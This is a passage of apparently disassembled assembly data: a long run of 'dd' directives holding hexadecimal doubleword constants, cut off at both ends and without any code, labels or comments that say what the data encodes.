26C861C7h, 0B5830072h dd 3F0F8AFAh, 9060BCFEh, 8C55760h, 59E003Bh, 0EAE32CABh dd 0B400182Dh, 0EE6F10AEh, 6EB27Dh, 0E882FBCBh, 127BE743h dd 4E714100h, 8368D9B8h, 0B91300BAh, 444AEE4Dh, 46008699h dd 309566CEh, 0C150C25Ch, 0B0F6E7A4h, 0C7F2D4B9h, 49FF7230h dd 988264EDh, 264B003Eh, 0A62D043Dh, 76B0EF47h, 0D0D28F01h dd 67B12EF2h, 97A9E0h, 0F82C66ABh, 0BA06B88Ah, 3A7E1A00h dd 5C6DF358h, 0DC72062Dh, 8E996644h, 7E69100h, 46FA93DFh dd 2010CA5h, 41305E58h, 0C0282D00h, 4BC81738h, 184D6039h dd 945EECBDh, 443168C0h, 1725D60h, 83AF9AFBh, 805C7391h dd 0B12CC328h, 779421Bh, 63C2C635h, 13F843EBh, 0A607E780h dd 0A0A2CE01h, 539EED62h, 0E80177FCh, 30F04C27h, 0E5E08900h dd 60EFAD3h, 5E1FA000h, 0A3DBF1C0h, 1B5B0086h, 0E46F7EB0h dd 0CA00DF30h, 67C93BECh, 9E741Fh, 0DA0B64C2h, 0FAB79C4Fh dd 1D82A600h, 6032CD4Eh, 278F02BBh, 2F460283h, 6BD25FC0h dd 0D4357E00h, 15656A1Fh, 77B00057h, 71476263h, 0AF3804F0h dd 392A8002h, 0A7839E5Dh, 0F576E7h, 73483A44h, 0F075011h dd 1082AB00h, 0F429768Bh, 62D30358h, 2FDC470h, 8CC05ACBh dd 0EA1253F3h, 4800BC72h, 862C5CBFh, 74E3ECC4h, 0DFA2066Eh dd 5047CAA5h, 87B0C307h, 60CE5916h, 3E32D7E5h, 0D2FA00C0h dd 3D2CE228h, 0EF05E8E9h, 0FF2E7F4Dh, 19FC30C0h, 7B361E35h dd 0BDB140E0h, 43D33B38h, 8C31420Eh, 0E645275Bh, 7A88004Fh dd 7F5FD0h, 5A5D0A4Eh, 66A26BAFh, 0FE00E479h, 0DA1741F7h dd 0DDD3CDh, 0B604289Ah, 1DECAACh, 0B4F81000h, 93F96AEBh dd 347901FCh, 0D5FA4019h, 825370D9h, 6F178A00h, 0D283C961h dd 0BE1D00EFh, 3DF2FB27h, 0B5002E73h, 951C2C16h, 2A7614h dd 4423C0A4h, 8758A602h, 535D5C00h, 0A9D29FA3h, 0F9290020h dd 252AE09h, 2200E60Ah, 614561Ah, 0E31F7Ch, 76F132Dh, 1CD9CDC9h dd 5A03C6E8h, 2FCCAC89h, 4B20B7DDh, 933706h, 0F97C6BCDh dd 25DC0FADh, 0B9704300h, 0B466224h, 99F50076h, 9FE202F2h dd 3B0010B0h, 0D72C54C1h, 4AA0D8h, 7FC358A5h, 369C075Fh dd 8C9E8814h, 3E5C0089h, 0CEFF9938h, 6A50007Ch, 0FE636D3h dd 5A00A340h, 8EA72BBh, 137BB9h, 9DB245C3h, 22DB5C4Bh dd 36935F00h, 5D559B9Eh, 38FF4E4h, 0D6F840A5h, 0C8A18EF6h dd 969B40CEh, 0C3E27683h, 0B487AB00h, 4DE8B8C5h, 0B90D001Eh dd 62067D8Ch, 4F000B90h, 485FEC5Ch, 701E20D7h, 4BBC003Ch dd 0B78D961Dh, 0AB00EE69h, 24700431h, 0E4581AD7h, 0FC7C0E48h dd 0EE20230Fh, 0B2C83A4Dh, 42501900h, 7D6AFBB9h, 82B03EF0h dd 1FBFFA80h, 0ADA36063h, 2B22F403h, 0E1E7405Bh, 0DE2095C8h dd 0C56E14A6h, 0E8008215h, 20CE90EBh, 0F006D35h, 2AECB728h dd 1B80AE1h, 883EF8DFh, 60953C3Ah, 65E2A5DDh, 0ADD6A000h dd 4FDF2BA8h, 8F9B1E7Fh, 3DF8E601h, 0B3243980h, 11EA3822h dd 7DFD6F00h, 0DD97C268h, 18376F04h, 0FFECD860h, 0FD035307h dd 0CD239FB4h, 0E51EF90Ch, 1C8441E0h, 808F8DA9h, 79DB0516h dd 0C39D2C0h, 0DD010385h, 0A8220EE0h, 1E575ABFh, 9380394Fh dd 8FF8023Bh, 2FE0C77Dh, 2100AB18h, 45236ED2h, 25B80Dh dd 0A116F4E1h, 110651FAh, 1A46710Ch, 0FCE26165h, 9AE1889h dd 8B519275h, 0D1DE9601h, 7BDA73B7h, 0EC9B1AD4h, 0C6E900B1h dd 81DC1587h, 590085B9h, 644854C9h, 4146AEh, 9511D1A5h dd 0D2286FADh, 87BBCD00h, 6A6EA1DCh, 318B003Dh, 9A0B5034h dd 0EE095B7Ch, 80CB1BA0h, 2AC58BDh, 0A9801677h, 73AD0011h dd 40A8B642h, 9BD9F31Fh, 3EE25DC0h, 0F286DE57h, 3D050085h dd 1766303Bh, 0B50B6FBCh, 84E5CB79h, 86803FC8h, 3A97AD43h dd 0DB804C36h, 22EA68F9h, 0F8004FF3h, 0A41C6601h, 40C813h dd 6F0544ADh, 0CBC1B459h, 8177E200h, 93D1C36Bh, 0EF8400E7h dd 0DF464F3Ah, 0E30098ADh, 99BB3326h, 39A1730h, 0D89787CFh dd 80EC13F3h, 528F2A42h, 0C5000773h, 648A45F4h, 16FA86Ch dd 0C1751EF6h, 0D0B66219h, 34005EE6h, 0A17729C2h, 600BB9h dd 0A5D04C0Eh, 3B9A1543h, 2E1EDF00h, 582C4F62h, 8D2B0CC5h dd 0CF8C1663h, 0E80001EEh, 0F6B65B82h, 391C72h, 0FC7D3CF9h dd 3AA6C5E2h, 15B31200h, 0FF84C0A2h, 8E35000Ah, 361CD398h dd 7E002E70h dd 5EB22322h, 3AC6972Bh, 0D300781Eh, 0DE3AFAE6h, 0F4036B1Ch dd 91DDAD9h, 5A7EC8A5h, 25FB00CFh, 3D51A1BEh, 680215A9h dd 52D1AC71h, 0DF8C80E0h, 24131Dh, 7EF4C442h, 18F126E7h dd 0D8ADD203h, 0D08C4BD0h, 48F79CFEh, 0AC00146Fh, 3F4FF549h dd 0D50094D7h, 873E778Fh, 0D115BEh, 988535EDh, 9C71D11h dd 75E5DC00h, 9C802C8Fh, 3DBF6CFh, 0B331E494h, 20F896C1h dd 0A93AF1EFh, 900FA3Eh, 8593EDC5h, 288C3AFCh, 86C06h dd 72FA8A31h, 4018BCC7h, 959E31C0h, 5B197Ch, 0DB01FB66h dd 0FAE22E9Ah, 0E0D24700h, 0FC836DC8h, 55861E26h, 33438297h dd 808010EFh, 45BEC296h, 0F318D301h, 14A0B973h, 24AB02Bh dd 5310BF00h, 0B5F6857Ch, 0ECA50175h, 5C5AB1DAh, 8B40BDDDh dd 80D150EAh, 3DF7432Ah, 57411874h, 42A2881Ah, 9BA19700h dd 0D6C3DEC1h, 0C21B0004h, 39FDD220h, 0AB00E0C7h, 21A881CBh dd 12EB0FEh, 0EA9EDDD5h, 0E046CA65h, 5C00EE34h, 61B39714h dd 0FA6024h, 0FDCF7C9Dh, 0FFDAEBD7h, 0FB9E4518h, 71C1D90h dd 4F42E2A6h, 0FAF6C325h, 420D194Ch, 0C8DF7990h, 8288DC87h dd 0CE26C280h, 15790077h, 0F999EDBBh, 0C9185713h, 34403640h dd 8D450163h, 0EE185B0h, 0C520E47Ah, 0F89AE8A1h, 0FA7B1EB5h dd 0FCD23104h, 30973EDDh, 0ED9976F0h, 486B01BEh, 35FF2903h dd 45FD4017h, 0E46B123Eh, 0C42F0328h, 0A05006C6h, 0B8590EA6h dd 77070880h, 0AC56252Ah, 3C99A900h, 0B1E190B8h, 0C7E71213h dd 60D402A8h, 0C480AE70h, 0C0A5ADBEh, 0B0693100h, 0DFD9DC2Ah dd 85C500A0h, 0FD8208A7h, 9A1FC445h, 2240E80Bh, 0E94C6712h dd 0D33818FAh, 0C4F378C6h, 8D4D4500h, 4C2B3B42h, 989F6034h dd 0B3F982C8h, 0DF919E00h, 0B593A78Ah, 0F6470031h, 0A4ED525Dh dd 713A4D19h, 0F02A00A0h, 6117D71Eh, 83C2019Ch, 58FB0F42h dd 0F45DC990h, 33E28BB5h, 540880EBh, 2C57ECA7h, 3DBA0062h dd 0CE345B32h, 4B1C2DA3h, 0C646D8E6h, 390592h, 159CFA3Ch dd 9901283Ah, 41BE1E07h, 7A905894h, 905710h, 30DD4C8Bh dd 3ECEF84Ah, 0A700C277h, 7A07344h, 0AFBF75h, 9DE6B59h dd 9FC132FCh, 80958238h, 0ABAECDBBh, 0F602873h, 0F6BFD74h dd 2ABDE963h, 29231018h, 1EA9919h, 75A96FAAh, 70228855h dd 650072CEh, 801CA5B0h, 0CFBE5A5Ch, 0D487C838h, 0CEF2B02Bh dd 4D304117h, 48124895h, 4B50C077h, 544CBE07h, 307011DAh dd 6088EC04h, 0F78010E5h, 35007F89h, 27D3DB7Ah, 1E2B6061h dd 0C0F25A09h, 0C6FAAE43h, 0D9003C67h, 7995FF5h, 22D6E651h dd 0A00B697h, 84BFC6DBh, 69739Dh, 0DA6B62F8h, 8C6E30A5h dd 5D151202h, 0C039DBE1h, 79AD9Dh, 926CBAABh, 0CCCD93AFh dd 71EA471Eh, 0C8E78DC7h, 0FA9149E0h, 822D1E64h, 8B15001Bh dd 0B4A4E8D3h, 15A3D00h, 55230D89h, 0F6F40004h, 729CC3B9h dd 6B1F5E53h, 803D4E0Ah, 1E1D97A4h, 0A58B6Fh, 0FAB07E2h dd 493A185Ah, 0B9747C00h, 85B4B6CFh, 125C07D9h, 336F83E8h dd 5EB38158h, 270C2BB0h, 0CCAC2C1Ch, 0BD3B2103h, 2EFD98B3h dd 0A62F0026h, 0FAA893D6h, 0F500AB6Dh, 2C34B5DDh, 60E053h dd 0E442E913h, 694459B8h, 0C723C900h, 8B14C18Eh, 0DC6400ACh dd 0B18C3978h, 0DA0FBF24h, 40D5965Bh, 12DB2FCCh, 0D618003Fh dd 2709B5B9h, 0B6008E1Ah, 0F391D19Dh, 0CA7F7Eh, 0F55BB087h dd 84F9CB26h, 95F4760Eh, 0AF0C73Dh, 339823F0h, 1EF843h dd 0B2608C66h, 9BD60B94h, 7CFF8800h, 98CDD167h, 0BC293BA4h dd 54C3F880h, 72C25A4Dh, 2F0AD300h, 0DEE42213h, 3D12007Dh dd 9175C986h, 7209BFBCh, 0DCCC0740h, 99F502BBh, 7C0BE6Ch dd 5C0009F6h, 0F41D02FEh, 7E6EC650h, 22D43A46h, 0CACA4818h dd 824CD3A7h, 96AC000Bh, 14F1A8CEh, 22EE0B3h, 24DAB89Fh dd 0F8C07E04h, 0B000558Fh, 0EB804ABDh, 28254EC1h, 3B90CCD4h dd 420012B7h, 892ED5D2h, 153FA837h, 0A26E80BDh, 2B8B786Ah dd 0F73773Ah, 0C4D913FBh, 0D605B4Eh, 0B8104656h, 27581DB0h dd 0C59400E0h, 0F2DA6859h, 0E9F4009Fh, 4EFB343Bh, 6100707Eh dd 7CDE5852h, 35676B5h, 4517CA02h, 0F082AA11h, 9B591E60h dd 1274C600h, 76B60DA0h, 0BF1816A8h, 0F64400B5h, 2729EF89h dd 85C6BB0Fh, 6BEE3F3h, 0F1C000D2h, 7B6D502Ch, 3A008D13h dd 0C8BB5DAFh, 2D8909h, 0BA3EA43Bh, 0B438179Ah, 0F78B9900h dd 41360EC5h, 0CB7F3Fh, 7ADCD51Ah, 63669894h, 24ED39h dd 0F4BFDFFCh, 454E81h, 0BB3E8F8Bh, 0F3C41694h, 2A260379h dd 410043B7h, 1C792FC7h, 69727Bh, 86C857CBh, 4BBCD78Dh dd 0DA4F200h, 0C42B8180h, 871F00F5h, 446B7991h, 9F00B022h dd 889ACB5Eh, 0D8CA37h, 5136811Ah, 52F6A458h, 8059673Ah dd 4BB01EEBh, 27DA66h, 3D7F4EFDh, 4522CFCAh, 0E7609A00h dd 348CDDBBh, 50AF1D2Bh, 0BD0778D2h, 80EE7598h, 0FA70C48h dd 2308D71h, 0F170104Fh, 0A3630029h, 0FC5405E4h, 2C03E888h dd 918A98BFh, 800AB86Bh, 0C4AD0057h, 0B27E2825h, 68C0DC2Fh dd 926D0F54h, 427F00B3h, 69B4EFC2h, 0E001057h, 6CAAAD88h dd 5A85B1h, 0A44391AEh, 670721FDh, 0FB7DC401h, 3A05C07Eh dd 0ED49F30h, 3F70C164h, 4E681EA0h, 6B00B3B5h, 65E45734h dd 3BDA672h, 7B24E730h, 37B08EBEh, 0F07955F2h, 59562300h dd 6E6BB961h, 6A9B0094h, 0BA39CA22h, 0E7B6CD1h, 82F3841Dh dd 1A994F40h, 0B53FC8h, 986DF94Eh, 1CA3CD96h, 0B99E3C07h dd 2FB0B430h, 77B5D0Ah, 0DF23CEFBh, 0F87F704Bh, 350025D7h dd 707C2A4Ah, 0FB28C7h, 0CE589568h, 0FF09D5B7h, 0D3F59700h dd 0FE3AD194h, 2B830023h, 70EAE6A4h, 2CFC5B86h, 0D13DFC00h dd 0CA21D631h, 0C5D900B7h, 2DF09B43h, 0A6001F77h, 899E875h dd 44C026h, 1195A186h, 0BE1F31Ah, 6D541C00h, 3BFE3650h dd 7BD001BCh, 9D669E71h, 0B084F255h, 0BCBB20C3h, 99B600A1h dd 842220E8h, 0D24887E3h, 0AF23143Ch, 38F300C0h, 7D1B0449h dd 0C540004Dh, 96E8CCABh, 361CFC2Bh, 2C0303E9h, 9975E1Ah dd 0FA7A0C48h, 70B900D5h, 0BFE2Bh, 0E01DFD79h, 6BFB0AF3h dd 54FAD300h, 0AB284BCAh, 0CD63007Fh, 95EE9A29h, 2D00DE77h dd 6049DB5h, 7A0254h, 9914AE6h, 0A239C084h, 7DA2700h, 0D9499E98h dd 0C6121FABh, 0C4148099h, 1FBACDA3h, 0F8502000h, 0B4047743h dd 469711Eh, 81C53DC7h, 54CBC001h, 9200AC34h, 41909F50h dd 79C711h, 4864EAC6h, 3F53DAB1h, 58B23E00h, 69569DB0h dd 9E24004Ah, 0C9C8CA12h, 0CE7F4F90h, 8773DA00h, 97CC7185h dd 0C15F0193h, 0D88194E1h, 0D490C967h, 37003F15h, 0B81285FCh dd 0D966E0h, 697A2E33h, 3F4B290Ah, 6B02367Fh, 0EC52764Eh dd 43F4E04Dh, 8ABA000Fh, 0E7DF39Ch, 28055980h, 0F49EE6FEh dd 7F5B73C0h, 2DBC303Ch, 6BF370FAh, 0E55A3B00h, 250BF5CBh dd 51FB009Ch, 8EB1576h, 0B1017EB6h, 0CAFEF35Bh, 0CCC14085h dd 750BCF8h, 43A728A9h, 9E2EECD3h, 0EE452E31h, 46E8594Dh dd 34C60FE8h, 99806A6Ch, 4426EC2Ah, 0D669B804h, 78C081DCh dd 190D7Dh, 0E83A0EB0h, 1316DF77h, 40EBE505h, 4E800CE6h dd 1BE5807h, 0E33F7CDAh, 0C18BD053h, 0E26D4F6h, 3115160h dd 0CE5D17Fh, 0DB5ECF70h, 0F008C31h, 819FEA63h, 1D7F6690h dd 7D02FAC5h, 1CD05CA4h, 242F40EDh, 2DCE9FFFh, 56F7591Dh dd 9B20A1B1h dd 0FAA822F4h, 802A0370h, 2F1A742Ch, 10C069ABh, 8A767B37h dd 0FDC53107h, 8E007F3Eh, 752CDB9h, 1A8751C2h, 9C95D071h dd 0FB60E847h, 0DF54A424h, 0D71B0042h, 0B3610DD9h, 4B032131h dd 37CAA045h, 767BD012h, 0FD9F02C3h, 81082DA3h, 0CA96CC40h dd 6279E618h, 2CA86320h, 8020F83Ah, 8A8EA2DEh, 0DB1559E3h dd 84682B27h, 3C220863h, 4645AA00h, 569A3001h, 62026960h dd 0F91C90A4h, 700570Fh, 0B19C8EA3h, 2D19034Ah, 2282AF90h dd 0D17511B8h, 0D8718C01h, 7CF46DF8h, 282AE240h, 7FCA0033h dd 0BBD69F05h, 2700F5B3h, 7939DB90h, 0FED3D1C9h, 400500BEh dd 2B57656h, 413869E2h, 0C9A40080h, 2D48596Ah, 45FF0050h dd 1E962B1Bh, 38001422h, 0DB34748Ah, 578D85Eh, 0CF0FC0B4h dd 0D5E8C05Fh, 6003B61h, 0AECACC76h, 91FD60Dh, 9995A322h dd 0C1919C80h, 0F00374Ah, 0A4425058h, 0E86E1F4h, 0F9098C0Ch dd 4A1130D8h, 206DE030h, 8E467Ah, 0D7C48675h, 0ADD8795Eh dd 1360B60Eh, 7430D8F6h, 0E5000B5h, 27691186h, 6A7499B3h dd 20C0B6ECh, 0CE530B35h, 6B50082h, 0F2639EAFh, 0A638FFD4h dd 0D3908E58h, 1C837C05h, 0C8CB088Bh, 24CAE0Dh, 0DBD861CDh dd 1DE01D41h, 3CA45DB6h, 0B10850FCh, 6263C986h, 3600DBBEh dd 33B520Eh, 0A0DE6596h, 61D0D974h, 0C3AB39Ch, 60C733AEh dd 11511F13h, 141C4F5Fh, 81BB746h, 0A80329F8h, 4968BCE5h dd 0CD30B8FEh, 78D7A7Fh, 829D348Eh, 0D3C970E6h, 0A8C30DB3h dd 0E8F4C214h, 0A761F754h, 0D8FC6298h, 159C618h, 42495039h dd 340E332h, 0B6D3B885h, 0E47D12F4h, 900403B2h, 3EA86BFAh dd 51F2F6A8h, 88B5AC00h, 0B29547A3h, 0A64E0554h, 800DDD7Ch dd 0CE8B4A89h, 5E07C17Ch, 368D2DA9h, 636D3B50h, 0BA7E0E5Ah dd 0C9E0EA44h, 0CBF3B3DDh, 3A98EB00h, 8E8A3C08h, 4B70C04Ah dd 0C0B2E7A5h, 8BBE5B02h, 7DDE0C80h, 8099CF07h, 0ED24DFD9h dd 0DA05AD00h, 0DEABA429h, 0D18D00B7h, 9CCA49A3h, 0EC002899h dd 8CAC9BB0h, 22A1E3h, 845DC4D9h, 8057E230h, 4C138106h dd 304B14h, 0C5988E8Bh, 1C263D5h, 0B67C5400h, 0E5FB3ADh dd 9FDD1FDBh, 0CD788480h, 6F52C0C3h, 0D01E358h, 87C95BE8h dd 0E130FD59h, 9930000Ah, 0DD8F3E5Ah, 7C1FE9A6h, 36831B0Dh dd 396821A2h, 268038C8h, 0EFF703AAh, 4B001752h, 7ABFB135h dd 6029DC3Ah, 4D6EF183h, 11075E8Ah, 0DF67CCADh, 0EEDA0810h dd 0A47CA0E8h, 145FFA64h, 0E78F15CAh, 63470071h, 0EAF75D74h dd 62035526h, 0AA664B50h, 8A589821h, 0B838E015h, 0C8148341h dd 0F81A38Ch, 51764F1Ch, 91595EC0h, 533FB2C2h, 3DFF03ECh dd 0F03477BDh, 1EAA9C26h, 0FC4751C0h, 0B3644600h, 92217A7Bh dd 0BB29CA00h, 2C06860Ah, 323C00C4h, 6D46E931h, 8E0064B0h dd 3856DF91h, 0B1EDF2h, 0E8A3CA58h, 0B88563FEh, 0C00FE30Fh dd 4C30E081h, 0C7E6B34Bh, 0A07A7E20h, 75A7336Ch, 0DE5A4500h dd 41880D04h, 9621B0Eh, 0C8BB28EBh, 0C62CEAE0h, 0F56EF40Fh dd 577F876Bh, 0C5F89C10h, 709F61B1h, 405E8B83h, 774B5480h dd 801B653Ah, 0C117C571h, 0C09D82EBh, 3A63A921h, 0B600D97Ah dd 0DA59E9F9h, 0E49C51E3h, 0C3201ED5h, 0E022428Dh, 3F6EC12h dd 4679D400h, 0A57A4CBFh, 0CA340404h, 0A2766CACh, 0D6043510h dd 918D701h, 360429DDh, 108BA8F7h, 3C993F25h, 321C7D01h dd 80C1287Bh, 52C02C31h, 8C257Ch, 634FC608h, 10227853h dd 0F0B10300h, 863FA7B4h, 47051CCAh, 30C6C048h, 7BAF7D01h dd 331AAC12h, 4D116A03h, 0D9883F09h, 0ED59A000h, 686ADA48h dd 0B50EDE00h, 10B05CAEh, 0FC831843h, 4E6D20C2h, 0B2DFEA05h dd 202C4CF0h, 0FA2A1023h, 77DF81B4h, 0C083C9E9h, 0BEFC42D4h dd 0BD5B3800h, 72A26A74h, 9C920020h, 65A176F3h, 8C00A527h dd 6C07F81Ch, 0F1D3AEEh, 8ECBD917h, 0C7C01B03h, 0BF9F1800h dd 7BEF0A67h, 0BC3C0066h, 2D799E8Dh, 1F197669h, 77412896h dd 0FCE18C0h, 5A5E042h, 834BF220h, 0C907859Dh, 0F19820CAh dd 8DE08EB0h, 4E3000F8h, 1D3EB21Bh, 0D5188C9Eh, 0FE200D50h dd 95AE00D7h, 753D8AEAh, 0B8009A36h, 0FCE9B97Bh, 0E3617Fh dd 0FB27A8E8h, 0F1B3C83Eh, 18BBB50Ch, 37F540E5h, 0C7C1BFF6h dd 18F2F68Ch, 81DDF37h, 0C2705C1h, 30C0EBD1h, 0A7CC07CFh dd 0C4A439Bh, 0A50A5150h, 84D38EA3h, 9ACB054Fh, 0BC65EC00h dd 39795572h, 0F20297DEh, 249F4D2Ch, 0E14C84A0h, 45002A59h dd 1F77DF1h, 0E82776Dh, 255B3151h, 0C4720C1Fh, 1A02EE88h dd 0A4592D66h, 12C8A4A1h, 41454C40h, 873E15F9h, 39FB00BAh dd 801EAC54h, 40336074h, 0EFEBB34Eh, 0EB8A7028h, 1F1B0306h dd 0E9FE17h, 291DFD5Ah, 224F01B0h, 325FF90Fh, 4454E1A1h dd 0B6DC1B3Fh, 0C29E22E8h, 0EB92F200h, 6A2BBADAh, 0A87F00A7h dd 0EFFF2652h, 0C9EA5175h, 919BF200h, 0E8238BF6h, 0F3D230F5h dd 8954B671h, 28E2A800h, 2F316FC9h, 0D27B0055h, 0E68CE519h dd 0B7118F1Fh, 0CD00ACC7h, 3FD5B3A9h, 3D12BF9Ch, 3500FA64h dd 2E969EF7h, 336700ACh, 5D512134h, 131C6FCFh, 0A0693AA3h dd 7586FA87h, 31A1FBA0h, 523E808Bh, 42B680F7h, 4CAC47CFh dd 49827FFAh, 9E390C8Dh, 0C92010C2h, 0E7F8A100h, 33D26DA9h dd 74F9600h, 0B656A739h, 18ED50D6h, 0CCCA4025h, 0CE3F4B00h dd 0D3AF6F43h, 0FCB2F466h, 87780750h, 104F3954h, 9E215237h dd 0A1F52Eh, 291FB930h, 0B0932AFCh, 327200F8h, 95A7F93Eh dd 0B5E27D0Eh, 55309700h, 0F7745C65h, 483A7AC2h, 0F582A480h dd 84AFC582h, 0C749F79Fh, 66F9D133h, 681DDFA8h, 20DED151h dd 2A00D4AAh, 5AF115CDh, 2CD0EB8Ch, 9AAF7Eh, 40FB4175h dd 8A4BEC85h, 345225ECh, 501C1Eh, 9F932DAAh, 0F5E0BA23h dd 406EB828h, 61C2FFE2h, 90F7396Bh, 518582BCh, 5000A050h dd 3EA5BE89h, 1C802706h, 0CF78312Eh, 0D9D2E125h, 5970401Eh dd 0B529C64h, 7053F66Dh, 9F4D0455h, 7A420C87h, 0B57482D2h dd 6F40802Ah, 7658AF1h, 806D0216h, 5A1AC019h, 620A8524h dd 9CA1FD36h, 18268771h, 80DD0B14h, 0BA27CC83h, 7712F9B0h dd 9154F702h, 42C6873Bh, 90800066h, 83F5ACh, 0F0D8F16Bh dd 78A53E35h, 191CE300h, 29A9DE99h, 0C7A400A1h, 64ACEF52h dd 2F18209Fh, 2E806AECh, 2C7A49B7h, 0FEE57100h, 0DE1D023h dd 7E2A44Ch, 2EA65CE7h, 0C0DCE820h, 0A25CA829h, 0E9932643h dd 8C0F3808h, 0B8C19F9Eh, 30511CBAh, 0F930940Ch, 5946306Bh dd 0F2F600A7h, 20A392DEh, 3024FA1Eh, 80151CBBh, 4B345198h dd 98930090h, 44453464h, 0C6D412CBh, 4BB40190h, 0F3B39484h dd 0D23AF6C0h, 0D100E0A4h, 0F7FB6E8Bh, 3B88D5Bh, 0FA85A5F1h dd 0C1003593h, 5FB0D13Ch, 241BB198h, 0C3789CCFh, 0B900F88Bh dd 0B05A34A2h, 136887Fh, 274A93DCh, 404819AFh, 9E6201FEh dd 439A4505h, 0B04A5D87h, 1D0F3444h, 28322915h, 0B71EC468h dd 1056334Ah, 2987E211h, 0E1339243h, 761308C0h, 48B5C71Fh dd 2D4F7F80h, 3A998427h, 6E9ABBA4h, 446070ABh, 0F440DE8Ch dd 2091DFh, 15E53C97h, 160C23C6h, 30B4093Fh, 0C9A90836h dd 8500F3FAh, 0AD69E346h, 2D110053h, 0BC3BEDECh, 79549C19h dd 0D970C1A8h, 63A36A00h, 0D6127F76h, 1568B0EAh, 0D423FD1Fh dd 2AB64E0Dh, 8134E0D9h, 0D5735806h, 222654h, 6AF68F0Eh dd 0E398F894h, 0AC503Fh dd 2D22B201h, 3FBC9189h, 9B80D6D1h, 71F236FBh, 23C3C28h dd 2B81805Fh, 8F381B23h, 89860B46h, 39839380h, 40018B11h dd 0D3F4FDE0h, 42F8736Ch, 3C87061Ch, 208CDE17h, 921E04F4h dd 0FA004860h, 0C68BDFCFh, 3E7938h, 5D9EC99h, 84D8A978h dd 0F274410Eh, 0A6C0DD6Bh, 0D288D782h, 0E0E41CCDh, 817FD9A4h dd 7A96CC29h, 0EAC31200h, 196041A3h, 0BC770CB6h, 0C79D184h dd 5C9E8500h, 7EE64C0Dh, 0B4F200E3h, 8E2D937Fh, 0C007E57Ah dd 0C37BD728h, 64BE04B0h, 84B43060h, 3BBC6CA9h, 89307A60h dd 3469C2Eh, 0BB07C4AFh, 182E7D17h, 0DD000068h, 5795C2DEh dd 0D17339B8h, 30928F9Ch, 0A2749389h, 3025818h, 30C27310h dd 4040A36Dh, 0B0007127h, 6B98AF5Dh, 4BA507h, 26B8A0ECh dd 6379C36Fh, 5738C450h, 1205AB00h, 9014D41Ah, 0CB40003Dh dd 0DF343C35h, 0DB00D027h, 5F4BE5E9h, 14BDBE72h, 0A4D93FF2h dd 0C4BF2500h, 642F0EA4h, 0E91281C0h, 1888F417h, 0B19DEC80h dd 4600667Eh, 8DD5CDD8h, 0EACC93Eh, 450191CBh, 0F40D2840h dd 4370510Eh, 0BB05DF0Ch, 18516Ch, 355C5A26h, 428E7A91h dd 4F0E6A07h, 0E670D39Dh, 4B56B1Bh, 7F6D8868h, 0E50C985Eh dd 900F3091h, 28760061h, 116CD40h, 0ECD09F2Bh, 4C368621h dd 7C3E3B74h, 4FBF8043h, 80EB0E48h, 0EC48C62Ch, 0D30051C0h dd 0C7E05514h, 0ECC9E99Fh, 0AE520030h, 7EA2FED8h, 13FA12F2h dd 98CDB15h, 84543B6Ch, 0BFE64781h, 1EB31C90h, 681B01DEh dd 3BDD2416h, 0EB488170h, 826D56CAh, 6CB084CAh, 90ADFC44h dd 7F9A41B4h, 0FE48DD01h, 9D83AEDEh, 0EF588CCh, 8A59F066h dd 0CB1930Dh, 0A4002FF8h, 0F965FD51h, 1991D3h, 57447F59h dd 331050FCh, 9FA8D660h, 339B142h, 653114A2h, 7AA13B9Ch dd 810C225Bh, 18190FDAh, 5E25618Eh, 0A70041F2h, 0D4F3DB36h dd 0D6006E50h, 3C63B377h, 5C498Fh, 4BF1751Bh, 9F6C33A9h dd 5FB68613h, 20FD2430h, 284B1C63h, 7FEEC0D1h, 8F85CD72h dd 388422E3h, 8A0C80A2h, 0E8A0AAF2h, 0A8829E5h, 0ECB92B8h dd 1CAA0E0Ch, 50FE0150h, 20C0675Dh, 19C02A34h, 0FD9A5E3Dh dd 0A7A203FAh, 4B42ACB1h, 73FE2280h, 8927A305h, 7C0028E4h dd 4384124Ah, 981D0676h, 0B993D2C3h, 25945C00h, 64E2026Ah dd 21C40001h, 0B6794082h, 97E71ECh, 7E560C07h, 0C1D69C38h dd 7FE12288h, 0FD8AA90Fh, 363404D2h, 89D344D8h, 0CA0ECC48h dd 0D427EE05h, 0B8401B59h, 94FEB713h, 0EB6FC01h, 2F2A509Eh dd 60653E60h, 7F663757h, 3B311248h, 0A407C0CFh, 0C5EF983Ch dd 6BEC61DDh, 337C246Eh, 8A080E05h, 832619h, 3DD4D832h dd 99571630h, 2DE7007Dh, 0F494751Ch, 0BE885E02h, 6B8D04FEh dd 616BC2E8h, 0D44C8028h, 0A28EFEA9h, 7EE40FD0h, 99106B0Ch dd 36CD00ACh, 5371FDAEh, 730742D2h, 0D73552A0h, 9833DF30h dd 18244DA2h, 80E4168Ah, 0B9A939A4h, 0C706DBD9h, 6AF3A244h dd 80163D0Ch, 8A91127Eh, 8D3805C6h, 81E684B1h, 107B34CCh dd 0F16688BDh, 0BFF890EDh, 60B098A4h, 0DC206119h, 33CADA8h dd 0E1E8034h, 0A6D2360h, 884900FDh, 0C5FCA52Eh, 0D50975Ch dd 0F820F1DCh, 0C6930012h, 0D4D509ADh, 0DB00B7B9h, 0CB58110Fh dd 9ED6444h, 89F0301Fh, 0EE812420h, 3C00C6D5h, 0DB7297D3h dd 0C1585061h, 8D6F3018h, 8E60840Ah, 41410D46h, 0C0A491A3h dd 6D002CDBh, 9A345AD2h, 0F56628h, 4AFBE26Ch, 5DDB711Eh dd 2A8DE300h, 0AF8E2EABh, 61F4034Eh, 555419B1h, 0EAE36588h dd 0D976DA00h, 3DE6663Ch, 0EE5DF0EBh, 641C07Dh, 0CC25E15Fh dd 6C523F00h, 0B67BD398h, 0EE2100B9h, 4935D945h, 5EF8F1E7h dd 0FB00FE90h, 7EBF5473h, 1DDF7FE2h, 0C021A7E4h, 0D25EF640h dd 79C05A31h, 0AF5764D0h, 34F90096h, 56CD3A3Fh, 0F40C5D6Bh dd 295CEE60h, 70E7304Ch, 57945B91h, 105C19C3h, 5E9D909Ah dd 79EE014Ch, 0C117C222h, 5970FC67h, 5CDF28C0h, 0CABB4B3h dd 6E52FF7Ch, 60003119h, 5B0E671Dh, 7AFC31Eh, 0DD338230h dd 0B487D0B5h, 990A0D2Ch, 88E64B10h, 3085543h, 3BB5EA08h dd 3DC04243h, 0DE0079F9h, 95D1096Eh, 68E9064h, 5C5FC116h dd 0D200716Dh, 94601214h, 33B2B3h, 65DB1703h, 63BBFB9Ah dd 0C52F6B07h, 0E3D1E1CCh, 0DFE8827Dh, 0F6B2005Dh, 8BCDF11Dh dd 25004F6Dh, 0CC9404BDh, 5B75AA59h, 73EAB013h, 8200FC79h dd 139E376h, 0F04D7840h, 0E92A2851h, 